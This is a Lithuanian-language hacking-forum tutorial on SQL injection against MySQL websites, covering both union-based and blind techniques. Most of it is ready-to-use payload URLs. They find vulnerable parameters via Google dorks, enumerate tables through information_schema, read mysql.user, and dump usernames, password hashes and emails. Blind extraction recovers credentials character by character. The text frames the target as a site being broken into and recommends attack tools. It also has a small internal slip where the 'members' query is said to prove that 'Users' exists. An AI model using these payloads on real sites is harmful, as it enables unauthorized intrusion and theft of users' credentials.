Šioje pamokoje aš paaiškinsiu, kaip SQL injekcijos veikia ir kaip jomis pasinaudoti norint išgauti naudingos informacijos.
Visų pirma: Kas yra SQL injekcija?
Tai vienas iš labiausiai paplitusių pažeidžiamumų šiomis dienomis. Šis pažeidžiamumas leidžia paleisti duomenų bazės užklausas iš adreso,paieškos, prisijungimo ir kitų laukelių.
Ši pamoka susidės iš kelių skyrių:
1.Paprasta SQL injekcija
2.Akla SQL injekcija
Paprasta SQL injekcija
Taigi pradėkime:
1) Tikriname ar tinklalapis pažeidžiamas:
Tarkim mes turime tinklalapį
http://www.site.com/. Užėję į jį iškarto turime ieškoti kintamųjų prie adreso arba įvairių laukelių į kuriuos galima įvesti tekstą. Jeigų tinklalapis labai didelis ir jame sunku ką nors rasti, patarčiau pasinaudoti Google. Paieškoje įrašę "site:jususaitas.lt allinurl:php" galėsite lengviau ieškoti pažeidžiamumų. Iš kart sakau, kad jokiose viešose TVS (turinio valdymo sistemose), kaip PHP-Fusion, Datalife Engine ir panašiai tikriausai nieko pažeidžiamo nerasite, nebent rasite į tinklalapį įdiegtus įvairius netradicinius priedus, skriptus.
Taigi tarkime pamatėme, kad tinklalapio adrese yra toks vaizdelis:
http://www.site.com/news.php?id=5 , kaip matote
id=5 yra kintamasis, tai reiškia, kad mes galime bandyti ar ši tinklalapio vieta yra pažeidžiama.
Kad tai išbandytume, prie adreso reikia prirašyti kabutę '. Tai atrodytu štai taip:
Kodas:
http://www.site.com/news.php?id=5'
Prirašius kabutė tinklalapis gali būti pažeidžiamas šiais atvėjais:
1. Gavote duomenų bazės klaidą, pavyzdžiui:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version"
2. Gavote klaidą su, pavydžiui, tekstu
ERROR arba
KLAIDA! ir t.t.
2. Pradingo kažkuri dalis tinklalapio, tarkim straipsnio tekstas ar kai kurie paveikslėliai.
3. Gavote tuščią lapą be jokio teksto.
2) Surandame stulpelių skaičių
Kad surastume stulpelių skaičių naudosime komandą
ORDER BY. Ji parodo duomenų bazei, kaip rūšiuoti rezultatus.
Ši pamokos dalis yra labai lengva, tarkim mums išmetė klaidą prirašius kabutę, tuomet vietoj kabutės įrašom vieną iš šių pavyzdžių:
Kodas:
http://www.site.com/news.php?id=5 order by 1/*
http://www.site.com/news.php?id=5 order by 1--
http://www.site.com/news.php?id=5' order by 1/*
http://www.site.com/news.php?id=5' order by 1--
Turime surasti tokią kombinaciją, kad įrašius
ORDER BY 1 negautume jokios klaidos ir, kad viskas atrodytu lygiai taip pat, kaip adrese būtų tik
id=5.
Tarkim radome kombinaciją su kuria negauname klaidos, nuo šiol ją visuomet naudosime. Dabar reikia didinti stulpelių skaičių iki kol gausime klaidą, pavyzdžiui:
Kodas:
http://www.site.com/news.php?id=5 order by 2/* (nėra klaidos)
http://www.site.com/news.php?id=5 order by 3/* (nėra klaidos)
http://www.site.com/news.php?id=5 order by 10/* (vis dar nėra klaidos)
http://www.site.com/news.php?id=5 order by 11/*
Štai gavome klaidą:
Unknown column '11' in 'order clause.
Tai reiškia, kad turime numerį sumažinti ir grįžti prie
10, dabar turėkite šį skaičių omeny
3) Tikriname UNION funkciją
Su
UNION mes galime priversti duomenų bazę mums rodyti tai, ko norime, todėl būtina, kad ji veiktų. Kitaip gali tekti naudoti aklą SQL injekciją, apie tai kitam pamokos skyriuje.
Taigi iš ankstesnio žingsnio žinome, kad tinklalapis turi
10 stulpelių, dabar tereikia tinkamai suformuluoti užklausą su
UNION:
Pakeičiame adresą į
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,5,6,7,8,9,10/*
Dabar turėtumėt tinklalapyje pamatyti skaičiukus, jei juos matote reiškia
UNION komanda galima, jei nematote pabandykite skaičiukų paieškoti tinklalapio pirminiame tekste (page source), o jei vistiek nematote, naudokite aklą SQL injekciją.
4) Tikriname MySQL versiją (ši pamoka skirta tik MySQL duomenų bazėms, yra ir kitokių, kaip Oracle, MSSQL ir t.t.)
Tarkime ekrane matome skaičių
5, su juo ir tikrinsime versiją. Tačiau dažniausiai būna, kad parodoma ne vienas skaičius, o keletas, todėl galite pasirinkti kurį skaičių naudosite, nėra jokio skirtumo, tiesiog rinkitės tą, kuris jums informaciją atvaizduos patogiau.
Taigi žinome, kad tinklalapis turi
10 stulpelių iš kurių mums matomas yra
5-asis.
Suformuluojame adresą:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,version(),6,7,8,9,10/*
Taigi vietoj
5 įrašėme
version()
Gali būti, kad gausite tokią klaidą:
"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." arba gausite kitokią klaidą.
Tuomet reikia panaudoti
unhex() hex() komandas, mūsų atvėju:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,unhex(hex(version())),6,7,8,9,10/*
Dabar tikrai turėtumėt pamatyti versiją, pavyzdžiui
4.1.33-log arba
5.0.45. Taigi eikime prie sekančio žingsnio.
5) Duomenų gavimas, kai MySQL versija <5
Taigi, jei pamatėte, kad
MySQL versija yra
5, tuomet galite būti laimingas, apie tai pakalbėsime vėliau

Jei versija būtų
4 arba retais atvėjais -
3, tuomet mums reikia spėlioti lentelių ir stulpelių pavadinimus ir ne visuomet mums gali pasisekti juos atspėti.
Dabar tarkime, kad mūsų bandomasis tinklalapis yra su
MySQL 4.1.33 versija.
Dažniausiai naudojami lentelių pavadinimai:
users,Users,admins,Admins,members ir t.t
Dažniausiai naudojami stulpelių pavadinimai:
username,user,usr,user_name,password,pass,passwd,p sswd,pwd ir t.t.
Yra tokių programų, kaip
SQLiHelper, kurio padeda tokiose situacijose, kai reikia spėlioti, bet apie tai dabar nerašysiu.
O rankiniu būdu ieškoti reikia taip:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,5,6,7,8,9,10 from users/* (išmetė klaidą)
Bandom šį variantą:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,5,6,7,8,9,10 from members/* (klaidos nėra)
Kadangi negavome jokios klaidos, tai reiškia, kad tokia lentelė "
Users" egzistuoja. Jei gavote klaidą, bandykite spėlioti toliau.
Dabar patikriname ar egzistuoja tam tikri stulpeliai "
Users" lentelėje įrašydami spėjamo stuleplio pavadinimą vietoj jūsų ankščiau pasirinkto skaičiaus:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,user_name,6,7,8,9,10 from Users/*
Jei gauname kurio nors vartotojo vardą, šiuo atvėju pirmojo iš duomenų bazės, tai labai tikėtina, kad admino, galime džiaugtis, telieka surasti, kaip vadinasi slaptažodžio stulpelis.
Ieškojimas vyksta tuo pačiu principu:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,user_password,6,7,8,9,10 from Users/*
Dabar jei atspėjote slaptažodžio stulpelio pavadinimą, pamatysite, dažniausiai, užkoduotą slaptažodį. Tuomet reikia sužinoti kokia koduotė naudojama ir bandyti jį iškoduoti, bet pasitaiko atvėjų, kai jis nebūna užkoduotas.
Kad būtų patogiau galime užklausą suformuluoti taip, kad mums parodytu vardą ir slaptažodį vienu metu, taip pat funkcija
group_concat(), jei yra, parodo daugiau nei vieną vartotojo vardą ir slaptažodį:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(user_name,0x3a,user_password),6,7,8,9,10 from Users/*
0x3a yra ženklo : reikšmė HEX koduotėje. Jis atskiria vardą nuo slaptažodžio, nes be jo mes negalėtume suprasti kur baigiasi vardas ir prasideda slaptažodis.
Taip pat galime naudoti ir
char() funkciją:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(user_name,char(58),user_password),6,7,8,9,10 from Users/*
Dabar turime ekrane atvaizduotus vardą ir slaptažodį. Juos turint reikia ieškoti kur prisijungti, dažniausiai prisijungimą galima rasti pačiam tinklalapype, bet gali būti paslėptas ir kitur,pavyzdžiui,
Kodas:
http://www.site.com/admin/
Jei visdelto jums nepavyko nieko atspėti, visuomet galima pabandyti mysql.user (numatytai). Taškas reiškia, kad mes norime matyti rezultatus iš "
mysql" duomenų bazės ir "
user" lentelės.
O dabar pažiūrime turinį su tokiu adresu:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(user,0x3a,password),6,7,8,9,10 from mysql.user/*
6) Duomenų išgavimas, kai MySQL versija >5
Nuo
5 MySQL versijos atsiranda atkira duomenų bazė, kurioje laikoma visa informacija apie kitų duomenų bazių lenteles, stulpelus.
Tam, kad išgautume tai ko norime, naudosime "information_schema" duomenų bazę.
Kad gautume lenteles mums reikia panaudoti "
table_name" stulpelį ir "
information_schema.tables" duomenų bazę ir lentelę:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(table_name),6,7,8,9,10 from information_schema.tables where table_schema=database()/*
Čia komanda
database() parenka jūsų laužiamo tinklalapio duomenų bazės lenteles. Gali būti, kad egzistuoja ir kitos DB, tai galima pažiūrėti su komanda:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(schema_name),6,7,8,9,10 from information_schema.schemata/*
Taigi sužinojus lentelių pavadinimus mums reikia stulpelių, jų gavimo principas beveik toks pat.
Naudosime "
column_name" , "
information_schema.columns" ir mūsų pasirinktą lentelę "
Users"
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(column_name),6,7,8,9,10 from information_schema.columns where table_name="Users"/*
Jei gaunate klaidą ir jums neparodomi stulpeliai, lentelės pavadinimą "
table_name=" reikia paversti į
HEX formatą. Tai galima padaryti adresu:
http://wocares.com/noquote.php
Verčiant į
HEX kabučių naudoti nebereikia, todėl norėdami sužinoti lentelės Users stulpelius, į
HEX versime ne "
Users", o
Users. Rezultatas būtų -
0x5573657273
Taigi gautūsi:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(column_name),6,7,8,9,10 from information_schema.columns where table_name=0x5573657273/*
Dabar gavę stulpelius juose ieškome kažko panašaus, kaip
user,
password,
email. Taigi norėdami pamatyti kas slepiasi lentelėje "
Users", stulpeliuose "
user,password,email", adresa formuluosime taip:
Kodas:
http://www.site.com/news.php?id=5 and 1=0 union select all 1,2,3,4,group_concat(user,0x3a,password,0x3a,email),6,7,8,9,10 from Users/*
Dabar pamatysite prisijungimo vardą, slaptažodį ir e-paštą.
Štai ir viskas šioj dalį, dabar liko sunkesnė dalis
Akla SQL injekcija.
Šis SQL injekcijos metodas truputi skiriasi nuo aukšciau aprašytos SQL injekcijos,jis yra sudetingesnis ir taikomas tuomet, kai nieko nesigauna su paprasta SQL injekcija.
1) Kaip ir aukšciau aprašytoje paprastoje SQL injekcijoje, mums reikės ieškoti kintamųjų,pavyzdžiui:
Kodas:
http://www.site.com/news.php?id=5 (žinoma, tai gali būti nebutinai id=5,gali būti betkoks kintamojo pavadinimas.)
Taigi jei mes norime patikrini ar tas kintamasis nėra apsaugotas mums reikia atlikti tokią užklausą:
Kodas:
http://www.site.com/news.php?id=5 and 1=1
Jei tinklalapis užsikrauna normaliai, viskas gerai, kadangi
1=1 reikšme yra visada yra
TRUE (teigiama).
Na, o dabar tikroji užklausa iš kurios mes suprasime ar kintamasis pažeidžiamas:
Kodas:
http://www.site.com/news.php?id=5 and 1=0
Dabar jei tinklalapyje pradingsta dalis teksto ar koks tai paveikslėlis, ar dalis dizaino, reiškia kintamasis pažeidžiamas, kadangi
1=0 yra
FALSE (neigiama), kadangi vienas niekada nebus lygus nuliui.
2) Dabar, kuomet radote pažeidžiamą kintamąjį galime eiti toliau,išgausime MySQL versiją:
Kodas:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
Užduodant tokią užklausą, jei tinklapis užsikrauna normaliai,nedingsta joks tekstas ar kiti elementai reiškia
MySQL versija yra
4
Jei gaunam klaidą ar trūksta kažkokių tinklapio elementų bandome kitą versiją:
Kodas:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
Tokiu atvėju
MySQL versija bus
5
3) Tikriname ar veikia SUBSELECT.
Kodas:
http://www.site.com/news.php?id=5 and (select 1)=1
Jei tinklapis užsikrauna be jokių klaidų ir joks turinys nėra dingęs reiškia
SUBSELECT veikia.
Toliau pažiūrėkime ar turime pakankamai teisių prie
MYSQL.USER
Kodas:
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
Jei tinklapis užsikrauna be jokių klaidų ir joks turinys nėra dingęs reiškia mes turime pakankamai teisių prieiti prie
MYSQL.USER, pasinaudojus
load_file() funkcija galėsime išgaudi šiuos duomenis.
Turiu pamineti vieną svarbų dalyką, priklausomai nuo
MySQL vartotojo teisių,
load_file() funkcija gali ir neveikti, kadangi jei yra paprastas
MySQL vartotojas, kuris neturi tokių pačių ar dalies
ROOT (šeimininko) teisių, ši funkcija neveiks.
4) Dabar tikrinsime stulpelių ir eilučių pavadinimus.
Čia jau reikės fantazijos arba papildomų žinių, kadangi teks spėlioti.
Viskas vyksta tokiu principu:
Kodas:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (šitas vientukas gale tai yra SUBSELECT,kadangi subselect išveda tik vieną rezultatą)
Jei po tokios užklausos tinklapis užsikrauna normaliai, be jokių klaidų ar trūkumų reiškia lentelė "
users" egzistuoja.
Jei gaunama klaida arba dingsta kažkokia dalis tinklapio ar teksto reiškia toks lentelė, kaip "
users" neegzistuoja, jums reikia spėlioti tol kol bus reikšmė
TRUE, t.y nebus jokių klaidų ar dingusio turinio tinklalapyje.
Tarkime "
users" lentelė egzistuoja, dabar mums reikia atspėti stulpelio pavadinimą, kuriame laikomas slaptažodis.
Kodas:
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
"
password" čia yra stulpelio pavadinimas, jį mums taip pat reikia atspėti,kaip aprašyta kelio aukšciau.
5) Duomenu atvaizdavimas iš duomenų bazės.
Gerai, tarkim mes atradome,kad egzistuoja lentelė "
users" ir stulpeliai "
username" ir "
password", bandysime išgauti duomenis. Čia ir pamatysite patį aklos ir paprastos SQL injekcijų skirtumą.
Darom užklausą:
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
Dabar pati esmė yra gale esantis skaičius
99, kadangi, kaip matote, užklausoje yra naudojamas
ASCII tai tas skaičius atitinka simbolio reikšmę
ASCII simbolių lentelėje. Simbolių lentelę galite rasti čia:
Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion
Vienos tokios:
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
užklausos metu bus išvedamas tik vienas simbolis, tarkim duomenų bazėje yra tokia kombinacija:
admin:slaptažodis
Dabar išsiaiškinkime pačią užklausą:
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),simbolio_numeris,1))>ASCII_numeris_iš_lentelės
Taigi,kad išgautumėte iš
admin:slaptažodis pirmą "
a" raidę mums reiks įvygdyti tokią užklausą:
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>97
Kad išgautume "
d" raidę mums reiks įvygdyti tokią užklausą:
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>100
Bet kaip dabar jums žinoti kurį
ASCII_numeris_iš_lentelės naudoti?
Mums reikia spėlioti tuos numerius, pavyzdžiui, norint išgauti "
a" raidę reiks spėlioti:
35 TRUE
50 TRUE
70 TRUE
100 FALSE
Aha, reiškia jums reikia ieškoti žemiau
100, bandom toliau:
90 TRUE
95 TRUE
96 TRUE
97 FALSE
98 FALSE
99 FALSE
Tai va, pirmasis
FALSE yra
97, jis atitinka "
a" raidę
ASCII lentelėje.
Dabar kas tie
TRUE ir
FALSE?
TRUE -
tai tuomet kai tinklapis užsikrauna normaliai, be jokių klaidų arba jame netrūksta jokio turinio ar paveikslėlių.
FALSE -
tai priešingybe, dingsta dalis teksto, arba matome kažkokią klaidą.
Taip ir spėliojame visus simbolius tol, kol išgausime pilnai:
admin:slaptažodis
Kaip žinoti iš kelių simbolių susideda tas
admin:slaptažodis?
Mūsų atvėju, kai žinome, kad
admin:slaptažodis susideda iš
17 simbolių, darome taip:
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),17,1))>0
Tokiu atvėju bus
TRUE
Kodas:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),18,1))>0
Tokiu atvėju bus
FALSE
Taigi tikrai žinome, kad
admin:slaptažodis susideda iš ne daugiau nei
17 simbolių.
Tokiu spėliojimo būdu ir yra išgaunami duomenys iš duomenų bazės pasinaudojus akla SQL injekcija. Tačiau per daug neišsigąskite, dažniausiai tokiom injekcijom naudojamos įvairios programos, kurios šį procesą automatizuoja ir jums tereikia surašyti tinkamus nustatymus.
Softas kuris padeda aptikti ir išnaudoti SQL injekcija:
Acunetix Web Vulnerability Scanner
SQLIHelper
Keletas SQL injekcijos paveikslėliu:
Nuorodos i naudinga vaizdo medžiagą:
http://milw0rm.com/video/watch.php?id=88
Pamoką kūrė:
Nightbird (paprasta SQL injekcija) ir
KING (akla SQL injekcija)
Be nuorodos į cyberlords.lt šį straipsni platinti draudžiama.